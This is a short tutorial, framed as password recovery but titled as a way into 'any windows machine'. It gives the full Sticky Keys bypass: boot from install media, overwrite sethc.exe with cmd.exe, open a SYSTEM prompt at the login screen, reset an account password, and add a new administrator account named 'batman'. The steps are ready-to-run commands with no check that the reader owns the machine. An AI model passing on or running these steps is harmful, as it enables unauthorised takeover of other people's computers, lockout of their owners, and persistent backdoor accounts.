Get access to any windows machine with admin privileges

Forgot Password?  on windows machine don't panic here are few easy steps to overcome this situation without loosing your files stored on a hard drive.

Requirements

1. Get a  windows boot disk.

Steps 

1. Use F2/DEL/F12 to boot from windows install disk.

    Click Troubleshoot. Click Command Prompt.

2.In the CMD window, type this commands:

    cd c:\windows\system32\

    copy sethc.exe sethc.bak

    copy cmd.exe sethc.exe

3.Restart computer. At the login screen where you enter your password, press the Shift key five times. CMD window appears

4.To change your existing password , tpye:

    net user username password

5.To add a new user and promote to Administrator:

    net user batman gotham /add

    net localgroup administrators batman /add